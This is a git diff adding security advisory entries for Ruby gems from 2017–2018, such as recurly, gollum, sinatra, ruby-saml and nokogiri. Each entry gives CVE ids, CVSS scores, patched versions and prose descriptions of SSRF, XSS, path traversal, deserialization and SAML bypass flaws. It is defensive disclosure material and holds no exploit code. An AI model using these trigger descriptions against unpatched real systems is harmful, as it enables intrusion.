a/advisories/_posts/2017-11-07-CVE-2017-0904.md b/advisories/_posts/2017-11-07-CVE-2017-0904.md new file mode 100644 index 00000000..1266cb75 --- /dev/null +++ b/advisories/_posts/2017-11-07-CVE-2017-0904.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2017-0904 (private_address_check): private_address_check Ruby Gem Resolv.getaddresses + Server-Side Request Forgery' +comments: false +categories: +- private_address_check +advisory: + gem: private_address_check + cve: 2017-0904 + ghsa: hxhj-hp9m-qwc4 + url: https://github.com/jtdowney/private_address_check/issues/1 + title: private_address_check Ruby Gem Resolv.getaddresses Server-Side Request Forgery + date: 2017-11-07 + description: |- + The private_address_check ruby gem before 0.4.0 is vulnerable to a bypass due to use of Ruby's + Resolv.getaddresses method, which is OS-dependent and should not be relied upon for security + measures, such as when used to blacklist private network addresses to prevent server-side + request forgery. + cvss_v2: 6.8 + cvss_v3: 8.1 + patched_versions: + - ">= 0.4.0" +--- diff --git a/advisories/_posts/2017-11-09-CVE-2017-0905.md b/advisories/_posts/2017-11-09-CVE-2017-0905.md new file mode 100644 index 00000000..d678b6c2 --- /dev/null +++ b/advisories/_posts/2017-11-09-CVE-2017-0905.md @@ -0,0 +1,38 @@ +--- +layout: advisory +title: 'CVE-2017-0905 (recurly): SSRF vulnerability in Recurly gem''s Resource#find.' +comments: false +categories: +- recurly +advisory: + gem: recurly + cve: 2017-0905 + ghsa: x27v-x225-gq8g + url: https://github.com/recurly/recurly-client-ruby/commit/1bb0284d6e668b8b3d31167790ed6db1f6ccc4be + title: SSRF vulnerability in Recurly gem's Resource#find. + date: 2017-11-09 + description: |- + If you are using the #find method on any of the classes that are derived from + the Resource class and you are passing user input into that method, a + malicious user can force the http client to reach out to a server under their + control. This can lead to leakage of your private API key. + + Because of the severity of impact, we are recommending that all users upgrade + to a patched version. We have provided a non-breaking patch for every 2.X + version of the client. + cvss_v3: 9.8 + patched_versions: + - "~> 2.0.13" + - "~> 2.1.11" + - "~> 2.2.5" + - "~> 2.3.10" + - "~> 2.4.11" + - "~> 2.5.3" + - "~> 2.6.3" + - "~> 2.7.8" + - "~> 2.8.2" + - "~> 2.9.2" + - "~> 2.10.4" + - "~> 2.11.3" + - ">= 2.12.0" +--- diff --git a/advisories/_posts/2017-11-09-CVE-2017-0909.md b/advisories/_posts/2017-11-09-CVE-2017-0909.md new file mode 100644 index 00000000..73e89c0c --- /dev/null +++ b/advisories/_posts/2017-11-09-CVE-2017-0909.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2017-0909 (private_address_check): private_address_check Ruby Gem Blacklist + Bypass privilege escalation' +comments: false +categories: +- private_address_check +advisory: + gem: private_address_check + cve: 2017-0909 + ghsa: 3v3c-r5v2-68ph + url: https://github.com/jtdowney/private_address_check/pull/3 + title: private_address_check Ruby Gem Blacklist Bypass privilege escalation + date: 2017-11-09 + description: |- + The private_address_check ruby gem before 0.4.1 is vulnerable to a bypass + due to an incomplete blacklist of common private/local network addresses + used to prevent server-side request forgery. + cvss_v2: 7.5 + cvss_v3: 9.8 + patched_versions: + - ">= 0.4.1" +--- diff --git a/advisories/_posts/2017-11-10-CVE-2017-16792.md b/advisories/_posts/2017-11-10-CVE-2017-16792.md new file mode 100644 index 00000000..27dcd08e --- /dev/null +++ b/advisories/_posts/2017-11-10-CVE-2017-16792.md @@ -0,0 +1,30 @@ +--- +layout: advisory +title: 'CVE-2017-16792 (geminabox): Stored XSS in "geminabox" via injection in Gemspec + "homepage" value' +comments: false +categories: +- geminabox +advisory: + gem: geminabox + cve: 2017-16792 + ghsa: 653m-r33x-39ff + url: https://github.com/geminabox/geminabox/blob/master/CHANGELOG.md#01310-2017-11-13 + title: Stored XSS in "geminabox" via injection in Gemspec "homepage" value + date: 2017-11-10 + description: |- + Stored cross-site scripting (XSS) vulnerability in "geminabox" (Gem + in a Box) allows attackers to inject arbitrary web script via a crafted + JavaScript URL in the "homepage" value of a ".gemspec" file. + + A ".gemspec" file must be created with a JavaScript URL in the homepage + value. This can be used to build a gem for upload to the Geminabox server, + in order to achieve stored XSS via the gem hyperlink. + cvss_v3: 6.1 + patched_versions: + - ">= 0.13.10" + related: + url: + - https://github.com/geminabox/geminabox/commit/f8429a9e364658459add170e4ebc7a5d3b4759e7 + - https://github.com/geminabox/geminabox/commit/e7e0b16147677e9029f0b55eff6bc6dda52398d4 +--- diff --git a/advisories/_posts/2017-11-15-CVE-2017-7475.md b/advisories/_posts/2017-11-15-CVE-2017-7475.md new file mode 100644 index 00000000..fcaf93c4 --- /dev/null +++ b/advisories/_posts/2017-11-15-CVE-2017-7475.md @@ -0,0 +1,20 @@ +--- +layout: advisory +title: 'CVE-2017-7475 (cairo): cairo NULL pointer dereference' +comments: false +categories: +- cairo +advisory: + gem: cairo + cve: 2017-7475 + ghsa: 5v3f-73gv-x7x5 + url: https://bugs.freedesktop.org/show_bug.cgi?id=100763 + date: 2017-11-15 + title: cairo NULL pointer dereference + description: |- + Cairo version 1.15.4 is vulnerable to a NULL pointer dereference related + to the FT_Load_Glyph and FT_Render_Glyph resulting in an application crash. + cvss_v3: 5.5 + patched_versions: + - ">= 1.15.5" +--- diff --git a/advisories/_posts/2017-11-16-CVE-2014-9489.md b/advisories/_posts/2017-11-16-CVE-2014-9489.md new file mode 100644 index 00000000..4c42c428 --- /dev/null +++ b/advisories/_posts/2017-11-16-CVE-2014-9489.md @@ -0,0 +1,33 @@ +--- +layout: advisory +title: 'CVE-2014-9489 (gollum): gollum and gollum-lib allow remote authenticated users + to execute arbitrary code' +comments: false +categories: +- gollum +advisory: + gem: gollum + cve: 2014-9489 + ghsa: q97v-764g-r2rp + url: https://github.com/gollum/gollum/issues/913 + title: gollum and gollum-lib allow remote authenticated users to execute arbitrary + code + date: 2017-11-16 + description: |- + The gollum-grit_adapter Ruby gem dependency in gollum before 3.1.1 and + the gollum-lib gem dependency in gollum-lib before 4.0.1 when the string `master` + is in any of the wiki documents, allows remote authenticated users to execute arbitrary + code via the `-O` or `--open-files-in-pager` flags. + cvss_v2: 6.5 + cvss_v3: 8.8 + patched_versions: + - ">= 3.1.1" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2014-9489 + - https://github.com/gollum/gollum/issues/913 + - https://github.com/gollum/grit_adapter/commit/4520d973c81fecfebbeacd2ef2f1849d763951c7 + - http://www.openwall.com/lists/oss-security/2015/01/03/19 + - https://web.archive.org/web/20200229041306/http://www.securityfocus.com/bid/71499 + - https://github.com/advisories/GHSA-q97v-764g-r2rp +--- diff --git a/advisories/_posts/2017-11-16-CVE-2017-1000248.md b/advisories/_posts/2017-11-16-CVE-2017-1000248.md new file mode 100644 index 00000000..44436cf6 --- /dev/null +++ b/advisories/_posts/2017-11-16-CVE-2017-1000248.md @@ -0,0 +1,20 @@ +--- +layout: advisory +title: 'CVE-2017-1000248 (redis-store): Unsafe objects can be loaded from Redis' +comments: false +categories: +- redis-store +advisory: + gem: redis-store + cve: 2017-1000248 + ghsa: 2w67-526p-gm73 + url: https://github.com/redis-store/redis-store/commit/ce13252c26fcc40ed4935c9abfeb0ee0761e5704 + title: Unsafe objects can be loaded from Redis + date: 2017-11-16 + description: |- + Redis-store <=v1.3.0 allows unsafe objects to be loaded from Redis via the + use of the Marshal serializer. + cvss_v3: 9.8 + patched_versions: + - ">= 1.4.0" +--- diff --git a/advisories/_posts/2017-11-28-CVE-2017-17042.md b/advisories/_posts/2017-11-28-CVE-2017-17042.md new file mode 100644 index 00000000..ccdb376d --- /dev/null +++ b/advisories/_posts/2017-11-28-CVE-2017-17042.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2017-17042 (yard): Potential arbitrary file read vulnerability in yard + server' +comments: false +categories: +- yard +advisory: + gem: yard + cve: 2017-17042 + ghsa: gj4p-3wh3-2rmf + url: https://nvd.nist.gov/vuln/detail/CVE-2017-17042 + title: Potential arbitrary file read vulnerability in yard server + date: 2017-11-28 + description: |- + lib/yard/core_ext/file.rb in the server in YARD before 0.9.11 does not block + relative paths with an initial ../ sequence, which allows attackers to conduct + directory traversal attacks and read arbitrary files. + cvss_v2: 5.0 + cvss_v3: 7.5 + patched_versions: + - ">= 0.9.11" +--- diff --git a/advisories/_posts/2017-12-17-CVE-2017-17718.md b/advisories/_posts/2017-12-17-CVE-2017-17718.md new file mode 100644 index 00000000..22748304 --- /dev/null +++ b/advisories/_posts/2017-12-17-CVE-2017-17718.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2017-17718 (net-ldap): No validation of hostname certificate in net-ldap' +comments: false +categories: +- net-ldap +advisory: + gem: net-ldap + cve: 2017-17718 + ghsa: m7p8-9w66-9frm + url: https://github.com/ruby-ldap/ruby-net-ldap/issues/258 + title: No validation of hostname certificate in net-ldap + date: 2017-12-17 + description: |- + The Net::LDAP (aka net-ldap) gem before 0.16.0 for Ruby has Missing SSL + Certificate Validation. The LDAP server's certificate was not verified + to match the host it was supposed to be connecting to. + cvss_v3: 5.9 + patched_versions: + - ">= 0.16.0" + related: + url: + - https://github.com/ruby-ldap/ruby-net-ldap/pull/279 + - https://github.com/ruby-ldap/ruby-net-ldap/commit/e4c46a223a19feda78393a793711353aa1febdcd +--- diff --git a/advisories/_posts/2018-01-04-CVE-2018-5216.md b/advisories/_posts/2018-01-04-CVE-2018-5216.md new file mode 100644 index 00000000..9d2ce2a6 --- /dev/null +++ b/advisories/_posts/2018-01-04-CVE-2018-5216.md @@ -0,0 +1,21 @@ +--- +layout: advisory +title: 'CVE-2018-5216 (radiant): Radiant CMS 1.1.4 Markdown admin/pages/*/edit part_body_content + cross site scripting' +comments: false +categories: +- radiant +advisory: + gem: radiant + cve: 2018-5216 + ghsa: mvw8-v767-qhjm + url: https://github.com/imsebao/404team/blob/master/radiantcms.md + title: Radiant CMS 1.1.4 Markdown admin/pages/*/edit part_body_content cross site + scripting + date: 2018-01-04 + description: |- + Radiant CMS 1.1.4 has XSS via crafted Markdown input in the part_body_content + parameter to an admin/pages/*/edit resource. + cvss_v2: 3.5 + cvss_v3: 5.4 +--- diff --git a/advisories/_posts/2018-01-09-CVE-2018-7212.md b/advisories/_posts/2018-01-09-CVE-2018-7212.md new file mode 100644 index 00000000..9371ee4a --- /dev/null +++ b/advisories/_posts/2018-01-09-CVE-2018-7212.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2018-7212 (sinatra): sinatra ruby gem path traversal via backslash characters + on Windows' +comments: false +categories: +- sinatra +advisory: + gem: sinatra + cve: 2018-7212 + ghsa: h29f-7f56-j8wh + url: https://github.com/sinatra/sinatra/pull/1379 + title: sinatra ruby gem path traversal via backslash characters on Windows + date: 2018-01-09 + description: |- + An issue was discovered in rack-protection/lib/rack/protection/path_traversal.rb + in Sinatra 2.x before 2.0.1 on Windows. Path traversal is possible via backslash + characters. + cvss_v2: 5.0 + cvss_v3: 5.3 + unaffected_versions: + - "< 2.0.0" + patched_versions: + - ">= 2.0.1" +--- diff --git a/advisories/_posts/2018-01-10-CVE-2017-12097.md b/advisories/_posts/2018-01-10-CVE-2017-12097.md new file mode 100644 index 00000000..3ea5bd63 --- /dev/null +++ b/advisories/_posts/2018-01-10-CVE-2017-12097.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2017-12097 (delayed_job_web): delayed_job_web ruby gem XSS vulnerability + via `queues` parameter' +comments: false +categories: +- delayed_job_web +advisory: + gem: delayed_job_web + cve: 2017-12097 + ghsa: w7q9-xr2x-wh7x + url: https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0449 + title: delayed_job_web ruby gem XSS vulnerability via `queues` parameter + date: 2018-01-10 + description: |- + An exploitable cross site scripting (XSS) vulnerability exists in the + filter functionality of the delayed_job_web ruby gem. A specially crafted + URL can cause an XSS flaw resulting in an attacker being able to execute arbitrary + javascript on the victim's browser. An attacker can phish an authenticated user + to trigger this vulnerability. + cvss_v3: 6.1 + patched_versions: + - ">= 1.4.2" +--- diff --git a/advisories/_posts/2018-01-10-CVE-2017-12098.md b/advisories/_posts/2018-01-10-CVE-2017-12098.md new file mode 100644 index 00000000..19dcec0c --- /dev/null +++ b/advisories/_posts/2018-01-10-CVE-2017-12098.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'CVE-2017-12098 (rails_admin): rails_admin ruby gem XSS vulnerability' +comments: false +categories: +- rails_admin +advisory: + gem: rails_admin + cve: 2017-12098 + ghsa: pxr8-w3jq-rcwj + url: https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0450 + title: rails_admin ruby gem XSS vulnerability + date: 2018-01-10 + description: |- + An exploitable cross site scripting (XSS) vulnerability exists in the + add filter functionality of the rails_admin rails gem version 1.2.0. A specially + crafted URL can cause an XSS flaw resulting in an attacker being able to execute + arbitrary javascript on the victim's browser. An attacker can phish an authenticated + user to trigger this vulnerability. + cvss_v2: 4.3 + cvss_v3: 6.1 + patched_versions: + - ">= 1.3.0" + related: + url: + - https://github.com/sferik/rails_admin/issues/2985 +--- diff --git a/advisories/_posts/2018-01-18-CVE-2016-10707.md b/advisories/_posts/2018-01-18-CVE-2016-10707.md new file mode 100644 index 00000000..6e3f1061 --- /dev/null +++ b/advisories/_posts/2018-01-18-CVE-2016-10707.md @@ -0,0 +1,41 @@ +--- +layout: advisory +title: 'CVE-2016-10707 (jquery-rails): Denial of Service in jquery' +comments: false +categories: +- jquery-rails +- rails +advisory: + gem: jquery-rails + framework: rails + cve: 2016-10707 + ghsa: mhpp-875w-9cpv + url: https://nvd.nist.gov/vuln/detail/CVE-2016-10707 + title: Denial of Service in jquery + date: 2018-01-18 + description: |- + Affected versions of `jquery` use a lowercasing logic on attribute + names. When given a boolean attribute with a name that contains + uppercase characters, `jquery` enters into an infinite recursion + loop, exceeding the call stack limit, and resulting in a denial + of service condition. + + ## Recommendation + + Update to version 3.0.0 or later. + cvss_v2: 5.0 + cvss_v3: 7.5 + unaffected_versions: + - "< 3.0.0-rc.1" + patched_versions: + - ">= 3.0.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2016-10707 + - https://github.com/advisories/GHSA-mhpp-875w-9cpv + - https://github.com/jquery/jquery/issues/3133 + - https://github.com/jquery/jquery/issues/3133#issuecomment-358978489 + - https://www.npmjs.com/advisories/330 + - https://github.com/jquery/jquery/pull/3134 + - https://snyk.io/vuln/npm:jquery:20160529 +--- diff --git a/advisories/_posts/2018-01-22-CVE-2015-9251.md b/advisories/_posts/2018-01-22-CVE-2015-9251.md new file mode 100644 index 00000000..4f59f12b --- /dev/null +++ b/advisories/_posts/2018-01-22-CVE-2015-9251.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'CVE-2015-9251 (jquery-rails): Cross-Site Scripting (XSS) in jquery' +comments: false +categories: +- jquery-rails +- rails +advisory: + gem: jquery-rails + framework: rails + cve: 2015-9251 + ghsa: rmxg-73gg-4p98 + url: https://github.com/rails/jquery-rails/releases/tag/v4.2.0 + title: Cross-Site Scripting (XSS) in jquery + date: 2018-01-22 + description: |- + Affected versions of `jquery` interpret `text/javascript` responses + from cross-origin ajax requests, and automatically execute the + contents in `jQuery.globalEval`, even when the ajax request + doesn't contain the `dataType` option. + cvss_v2: 6.1 + cvss_v3: 6.1 + patched_versions: + - ">= 4.2.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2015-9251 + - https://github.com/rails/jquery-rails/releases/tag/v4.2.0 + - https://github.com/rails/jquery-rails/blob/master/CHANGELOG.md#420 + - https://github.com/rails/jquery-rails/blob/v4.2.0/vendor/assets/javascripts/jquery3.js#L9377 + - https://github.com/advisories/GHSA-rmxg-73gg-4p98 +--- diff --git a/advisories/_posts/2018-01-23-CVE-2017-0889.md b/advisories/_posts/2018-01-23-CVE-2017-0889.md new file mode 100644 index 00000000..4ab63ec8 --- /dev/null +++ b/advisories/_posts/2018-01-23-CVE-2017-0889.md @@ -0,0 +1,33 @@ +--- +layout: advisory +title: 'CVE-2017-0889 (paperclip): Paperclip ruby gem suffers from a Server-Side Request + Forgery (SSRF) vulnerability in the Paperclip::UriAdapter and Paperclip::HttpUrlProxyAdapter + class.' +comments: false +categories: +- paperclip +advisory: + gem: paperclip + cve: 2017-0889 + ghsa: 5jcf-c5rg-rmm8 + url: https://github.com/thoughtbot/paperclip/pull/2435 + title: Paperclip ruby gem suffers from a Server-Side Request Forgery (SSRF) vulnerability + in the Paperclip::UriAdapter and Paperclip::HttpUrlProxyAdapter class. + date: 2018-01-23 + description: |- + Paperclip gem provides multiple ways a file can be uploaded to a web server. + The vulnerability affects two of Paperclip’s IO adapters that accept URLs as + attachment data (UriAdapter and HttpUrlProxyAdapter). When these adapters are + used, Paperclip acts as a proxy and downloads the file from the website URI + that is passed in. The library does not perform any validation to protect + against Server Side Request Forgery (SSRF) exploits by default. This may allow + a remote attacker to access information about internal network resources. + cvss_v2: 7.5 + cvss_v3: 9.8 + patched_versions: + - ">= 5.2.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2017-0889 + - https://github.com/thoughtbot/paperclip/commit/4ebedfbd11d20d03ed03a1274ed281eee62715d4 +--- diff --git a/advisories/_posts/2018-01-29-CVE-2017-15412.md b/advisories/_posts/2018-01-29-CVE-2017-15412.md new file mode 100644 index 00000000..ca05b58c --- /dev/null +++ b/advisories/_posts/2018-01-29-CVE-2017-15412.md @@ -0,0 +1,31 @@ +--- +layout: advisory +title: 'CVE-2017-15412 (nokogiri): Nokogiri gem, via libxml, is affected by DoS vulnerabilities' +comments: false +categories: +- nokogiri +advisory: + gem: nokogiri + cve: 2017-15412 + ghsa: r58r-74gx-6wx3 + url: https://github.com/sparklemotion/nokogiri/issues/1714 + title: Nokogiri gem, via libxml, is affected by DoS vulnerabilities + date: 2018-01-29 + description: |- + The version of libxml2 packaged with Nokogiri contains a + vulnerability. Nokogiri has mitigated these issue by upgrading to + libxml 2.9.6. + + It was discovered that libxml2 incorrecty handled certain files. An attacker + could use this issue with specially constructed XML data to cause libxml2 to + consume resources, leading to a denial of service. + cvss_v3: 8.8 + patched_versions: + - ">= 1.8.2" + related: + cve: + - 2017-18258 + url: + - https://usn.ubuntu.com/usn/usn-3513-1/ + - https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-15412.html +--- diff --git a/advisories/_posts/2018-01-29-CVE-2017-16932.md b/advisories/_posts/2018-01-29-CVE-2017-16932.md new file mode 100644 index 00000000..888aa199 --- /dev/null +++ b/advisories/_posts/2018-01-29-CVE-2017-16932.md @@ -0,0 +1,29 @@ +--- +layout: advisory +title: 'CVE-2017-16932 (nokogiri): Nokogiri gem, via libxml, is affected by DoS vulnerabilities' +comments: false +categories: +- nokogiri +advisory: + gem: nokogiri + cve: 2017-16932 + ghsa: x2fm-93ww-ggvx + url: https://github.com/sparklemotion/nokogiri/issues/1714 + title: Nokogiri gem, via libxml, is affected by DoS vulnerabilities + date: 2018-01-29 + description: |- + The version of libxml2 packaged with Nokogiri contains a + vulnerability. Nokogiri has mitigated these issue by upgrading to + libxml 2.9.5. + + Wei Lei discovered that libxml2 incorrecty handled certain parameter + entities. An attacker could use this issue with specially constructed XML + data to cause libxml2 to consume resources, leading to a denial of service. + cvss_v3: 7.5 + patched_versions: + - ">= 1.8.1" + related: + url: + - https://usn.ubuntu.com/usn/usn-3504-1/ + - https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16932.html +--- diff --git a/advisories/_posts/2018-02-18-CVE-2018-7212.md b/advisories/_posts/2018-02-18-CVE-2018-7212.md new file mode 100644 index 00000000..506ae7bb --- /dev/null +++ b/advisories/_posts/2018-02-18-CVE-2018-7212.md @@ -0,0 +1,20 @@ +--- +layout: advisory +title: 'CVE-2018-7212 (rack-protection): Path traversal is possible via backslash + characters on Windows.' +comments: false +categories: +- rack-protection +advisory: + gem: rack-protection + cve: 2018-7212 + url: https://github.com/sinatra/sinatra/pull/1379 + title: Path traversal is possible via backslash characters on Windows. + date: 2018-02-18 + description: |- + An issue was discovered in rack-protection 2.x before 2.0.1 on Windows. Path traversal + is possible via backslash characters. + patched_versions: + - ">= 2.0.1" + - "~> 1.5.4" +--- diff --git a/advisories/_posts/2018-02-19-CVE-2018-7261.md b/advisories/_posts/2018-02-19-CVE-2018-7261.md new file mode 100644 index 00000000..e0449d55 --- /dev/null +++ b/advisories/_posts/2018-02-19-CVE-2018-7261.md @@ -0,0 +1,21 @@ +--- +layout: advisory +title: 'CVE-2018-7261 (radiant): Multiple persistent XSS vulnerabilities in Radiant + CMS' +comments: false +categories: +- radiant +advisory: + gem: radiant + cve: 2018-7261 + ghsa: gp82-xr77-88f4 + url: https://github.com/radiant/radiant/issues/412 + title: Multiple persistent XSS vulnerabilities in Radiant CMS + date: 2018-02-19 + description: |- + There are multiple Persistent XSS vulnerabilities in Radiant CMS. + They affect Personal Preferences (Name and Username) and Configuration (Site Title, + Dev Site Domain, Page Parts, and Page Fields). + cvss_v2: 3.5 + cvss_v3: 5.4 +--- diff --git a/advisories/_posts/2018-02-21-CVE-2018-1000088.md b/advisories/_posts/2018-02-21-CVE-2018-1000088.md new file mode 100644 index 00000000..19897fc5 --- /dev/null +++ b/advisories/_posts/2018-02-21-CVE-2018-1000088.md @@ -0,0 +1,42 @@ +--- +layout: advisory +title: 'CVE-2018-1000088 (doorkeeper): Doorkeeper gem has stored XSS on authorization + consent view' +comments: false +categories: +- doorkeeper +advisory: + gem: doorkeeper + cve: 2018-1000088 + ghsa: hwhh-2fwm-cfgw + url: https://blog.justinbull.ca/cve-2018-1000088-stored-xss-in-doorkeeper/ + title: Doorkeeper gem has stored XSS on authorization consent view + date: 2018-02-21 + description: |- + Stored XSS on the OAuth Client's name will cause users being prompted for + consent via the "implicit" grant type to execute the XSS payload. + + The XSS attack could gain access to the user's active session, resulting in + account compromise. + + Any user is susceptible if they click the authorization link for the + malicious OAuth client. Because of how the links work, a user cannot tell if + a link is malicious or not without first visiting the page with the XSS + payload. + + If 3rd parties are allowed to create OAuth clients in the app using + Doorkeeper, upgrade to the patched versions immediately. + + Additionally there is stored XSS in the native_redirect_uri form element. + + DWF has assigned CVE-2018-1000088. + cvss_v3: 7.6 + unaffected_versions: + - "< 2.1.0" + patched_versions: + - ">= 4.2.6" + related: + url: + - https://github.com/doorkeeper-gem/doorkeeper/issues/969 + - https://github.com/doorkeeper-gem/doorkeeper/issues/970 +--- diff --git a/advisories/_posts/2018-02-27-CVE-2017-11428.md b/advisories/_posts/2018-02-27-CVE-2017-11428.md new file mode 100644 index 00000000..70f1df73 --- /dev/null +++ b/advisories/_posts/2018-02-27-CVE-2017-11428.md @@ -0,0 +1,34 @@ +--- +layout: advisory +title: 'CVE-2017-11428 (ruby-saml): Authentication bypass via incorrect XML canonicalization + and DOM traversal' +comments: false +categories: +- ruby-saml +advisory: + gem: ruby-saml + cve: 2017-11428 + ghsa: x2fr-v8wf-8wwv + url: https://github.com/onelogin/ruby-saml/commit/048a544730930f86e46804387a6b6fad50d8176f + title: Authentication bypass via incorrect XML canonicalization and DOM traversal + date: 2018-02-27 + description: |- + ruby-saml prior to version 1.7.0 is vulnerable to an authentication bypass via incorrect + XML canonicalization and DOM traversal. Specifically, there are inconsistencies in + handling of comments within XML nodes, resulting in incorrect parsing of the inner text + of XML nodes such that any inner text after the comment is lost prior to + cryptographically signing the SAML message. Text after the comment therefore has no + impact on the signature on the SAML message. + + A remote attacker can modify SAML content for a SAML service provider without + invalidating the cryptographic signature, which may allow attackers to bypass + primary authentication for the affected SAML service provider. + cvss_v2: 6.3 + cvss_v3: 7.7 + patched_versions: + - ">= 1.7.0" + related: + url: + - https://duo.com/blog/duo-finds-saml-vulnerabilities-affecting-multiple-implementations + - https://www.kb.cert.org/vuls/id/475445 +--- diff --git a/advisories/_posts/2018-02-27-CVE-2017-11430.md b/advisories/_posts/2018-02-27-CVE-2017-11430.md new file mode 100644 index 00000000..3b80ba15 --- /dev/null +++ b/advisories/_posts/2018-02-27-CVE-2017-11430.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2017-11430 (omniauth-saml): omniauth-saml authentication bypass via incorrect + XML canonicalization and DOM traversal' +comments: false +categories: +- omniauth-saml +advisory: + gem: omniauth-saml + cve: 2017-11430 + ghsa: 94hm-8q65-rmxm + url: https://duo.com/blog/duo-finds-saml-vulnerabilities-affecting-multiple-implementations + title: omniauth-saml authentication bypass via incorrect XML canonicalization and + DOM traversal + date: 2018-02-27 + description: |- + OmniAuth OmnitAuth-SAML 1.9.0 and earlier may incorrectly utilize the + results of XML DOM traversal and canonicalization APIs in such a way that an attacker + may be able to manipulate the SAML data without invalidating the cryptographic signature, + allowing the attack to potentially bypass authentication to SAML service providers. + cvss_v2: 7.5 + cvss_v3: 9.8 + patched_versions: + - ">= 1.10.0" +--- diff --git a/advisories/_posts/2018-03-07-CVE-2018-1000119.md b/advisories/_posts/2018-03-07-CVE-2018-1000119.md new file mode 100644 index 00000000..6802f13d --- /dev/null +++ b/advisories/_posts/2018-03-07-CVE-2018-1000119.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2018-1000119 (rack-protection): rack-protection gem timing attack vulnerability + when validating CSRF token' +comments: false +categories: +- rack-protection +advisory: + gem: rack-protection + cve: 2018-1000119 + ghsa: 688c-3x49-6rqj + url: https://github.com/sinatra/rack-protection/pull/98 + title: rack-protection gem timing attack vulnerability when validating CSRF token + date: 2018-03-07 + description: |- + Sinatra rack-protection versions 1.5.4 and 2.0.0.rc3 and earlier contains + a timing attack vulnerability in the CSRF token checking that can result in signatures + can be exposed. This attack appear to be exploitable via network connectivity to + the ruby application. + cvss_v2: 4.3 + cvss_v3: 5.9 + patched_versions: + - "~> 1.5.5" + - ">= 2.0.0" +--- diff --git a/advisories/_posts/2018-03-16-CVE-2018-8048.md b/advisories/_posts/2018-03-16-CVE-2018-8048.md new file mode 100644 index 00000000..e362ecb6 --- /dev/null +++ b/advisories/_posts/2018-03-16-CVE-2018-8048.md @@ -0,0 +1,20 @@ +--- +layout: advisory +title: 'CVE-2018-8048 (loofah): Loofah XSS Vulnerability' +comments: false +categories: +- loofah +advisory: + gem: loofah + cve: 2018-8048 + ghsa: x7rv-cr6v-4vm4 + url: https://github.com/flavorjones/loofah/issues/144 + title: Loofah XSS Vulnerability + date: 2018-03-16 + description: |- + Loofah allows non-whitelisted attributes to be present in sanitized + output when input with specially-crafted HTML fragments. + cvss_v3: 6.1 + patched_versions: + - ">= 2.2.1" +--- diff --git a/advisories/_posts/2018-03-19-CVE-2018-3740.md b/advisories/_posts/2018-03-19-CVE-2018-3740.md new file mode 100644 index 00000000..79657913 --- /dev/null +++ b/advisories/_posts/2018-03-19-CVE-2018-3740.md @@ -0,0 +1,31 @@ +--- +layout: advisory +title: 'CVE-2018-3740 (sanitize): HTML injection/XSS in Sanitize' +comments: false +categories: +- sanitize +advisory: + gem: sanitize + cve: 2018-3740 + ghsa: 7f42-p84j-f58p + url: https://github.com/rgrove/sanitize/issues/176 + title: HTML injection/XSS in Sanitize + date: 2018-03-19 + description: |- + When Sanitize gem is used in combination with libxml2 >= 2.9.2, + a specially crafted HTML fragment can cause libxml2 to generate + improperly escaped output, allowing non-whitelisted attributes to be + used on whitelisted elements. + + This can allow HTML and JavaScript injection, which could result in XSS + if Sanitize's output is served to browsers. + cvss_v3: 7.5 + unaffected_versions: + - "< 1.1.0" + patched_versions: + - "~> 2.1.1" + - ">= 4.6.3" + related: + url: + - https://github.com/rgrove/sanitize/commit/01629a162e448a83d901456d0ba8b65f3b03d46e +--- diff --git a/advisories/_posts/2018-03-22-CVE-2018-3741.md b/advisories/_posts/2018-03-22-CVE-2018-3741.md new file mode 100644 index 00000000..d1bfc154 --- /dev/null +++ b/advisories/_posts/2018-03-22-CVE-2018-3741.md @@ -0,0 +1,29 @@ +--- +layout: advisory +title: 'CVE-2018-3741 (rails-html-sanitizer): XSS vulnerability in rails-html-sanitizer' +comments: false +categories: +- rails-html-sanitizer +advisory: + gem: rails-html-sanitizer + cve: 2018-3741 + ghsa: px3r-jm9g-c8w8 + url: https://groups.google.com/d/msg/rubyonrails-security/tP7W3kLc5u4/uDy2Br7xBgAJ + title: XSS vulnerability in rails-html-sanitizer + date: 2018-03-22 + description: |- + There is a possible XSS vulnerability in rails-html-sanitizer. The gem allows + non-whitelisted attributes to be present in sanitized output when input with + specially-crafted HTML fragments, and these attributes can lead to an XSS attack + on target applications. + + This issue is similar to CVE-2018-8048 in Loofah. + cvss_v3: 6.1 + patched_versions: + - ">= 1.0.4" + related: + cve: + - 2018-8048 + url: + - https://github.com/rails/rails-html-sanitizer/commit/f3ba1a839a35f2ba7f941c15e239a1cb379d56ae +--- diff --git a/advisories/_posts/2018-03-29-CVE-2018-8048.md b/advisories/_posts/2018-03-29-CVE-2018-8048.md new file mode 100644 index 00000000..e1942e96 --- /dev/null +++ b/advisories/_posts/2018-03-29-CVE-2018-8048.md @@ -0,0 +1,45 @@ +--- +layout: advisory +title: 'CVE-2018-8048 (nokogiri): Revert libxml2 behavior in Nokogiri gem that could + cause XSS' +comments: false +categories: +- nokogiri +advisory: + gem: nokogiri + cve: 2018-8048 + ghsa: x7rv-cr6v-4vm4 + url: https://github.com/sparklemotion/nokogiri/pull/1746 + title: Revert libxml2 behavior in Nokogiri gem that could cause XSS + date: 2018-03-29 + description: |- + [MRI] Behavior in libxml2 has been reverted which caused + CVE-2018-8048 (loofah gem), CVE-2018-3740 (sanitize gem), and + CVE-2018-3741 (rails-html-sanitizer gem). The commit in question is + here: + + https://github.com/GNOME/libxml2/commit/960f0e2 + + and more information is available about this commit and its impact + here: + + https://github.com/flavorjones/loofah/issues/144 + + This release simply reverts the libxml2 commit in question to protect + users of 